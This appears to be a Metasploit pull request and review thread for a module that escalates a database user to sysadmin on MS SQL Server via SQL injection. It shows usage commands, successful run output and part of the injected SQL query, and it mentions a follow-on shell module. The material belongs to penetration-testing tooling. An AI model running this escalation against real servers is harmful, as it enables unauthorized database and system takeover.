Added module mssql_escalate_dbowner_sqli

Added mssql_escalate_dbowner_sqli module.  This module can be used to escalate privileges to sysadmin via SQL injection if the user has the db_owner role in a trustworthy database owned by a sysadmin user. Once the user has the sysadmin role the mssql_payload_sqli module can be used to obtain a shell on the system. 

Lab Setup and Test Guide
https://github.com/nullbind/Metasploit-Modules/blob/master/mssql_escalate_dbowner_sqli_lab_guide.txt

Example Output:
<pre>
use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set GET_PATH  /testing.asp?id=1+and+1=[SQLi];--
set rhost 10.2.9.101

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is NOT a sysadmin, let's try to escalate privileges.
[*] Checking for trusted databases owned by sysadmins...
[+] 1 affected database(s) were found:
[*]  - LVADB
[*] Checking if MyAppUser has the db_owner role in any of them...
[+] MyAppUser has the db_owner role on LVADB.
[*] Attempting to add MyAppUser to sysadmin role...
[+] Success! MyAppUser is now a sysadmin!
[*] Auxiliary module execution completed

msf auxiliary(mssql_escalate_dbowner_sqli) > run

[*] Grabbing the database user name from 10.2.9.101:80...
[+] Database user: MyAppUser
[*] Checking if MyAppUser is already a sysadmin...
[+] MyAppUser is already a sysadmin, no esclation needed.
[*] Auxiliary module execution completed
msf auxiliary(mssql_escalate_dbowner_sqli) > 
</pre>
No worries - I'm not in a rush.

On Sat, Oct 18, 2014 at 2:06 PM, Josh <notifications@github.com> wrote:

> In modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb:
>
> > +    sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName
> > +      FROM sys.server_principals r
> > +      INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
> > +      INNER JOIN sys.server_principals p ON
> > +      p.principal_id = m.member_principal_id
> > +      inner join sys.databases d on suser_sname(d.owner_sid) = p.name
> > +      WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
> > +
> > +    # Run query
> > +    result = mssql_query(sql)
> > +
> > +    #Parse results
> > +    parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)
> > +
> > +    # Return sysadmin status
> > +    return parsed_result
>
> Cool. I'll review again later today. I'm out and about w the fam ATM
> … <#14924a7cc20baa52_>
>  On Oct 18, 2014, at 12:03, Scott Sutherland <notifications@github.com>
> wrote: In modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb: > +
> sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as
> DbName > + FROM sys.server_principals r > + INNER JOIN
> sys.server_role_members m ON r.principal_id = m.role_principal_id > + INNER
> JOIN sys.server_principals p ON > + p.principal_id = m.member_principal_id
> > + inner join sys.databases d on suser_sname(d.owner_sid) = p.name > +
> WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R'
> and r.name = N'sysadmin' for xml path('')) as int))" > + > + # Run query
> > + result = mssql_query(sql) > + > + #Parse results > + parsed_result =
> result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m) > + > + # Return
> sysadmin status > + return parsed_result Fixed - I removed the line. —
> Reply to this email directly or view it on GitHub.
>
> —
> Reply to this email directly or view it on GitHub
> <https://github.com/rapid7/metasploit-framework/pull/4040/files#r19055649>
> .
>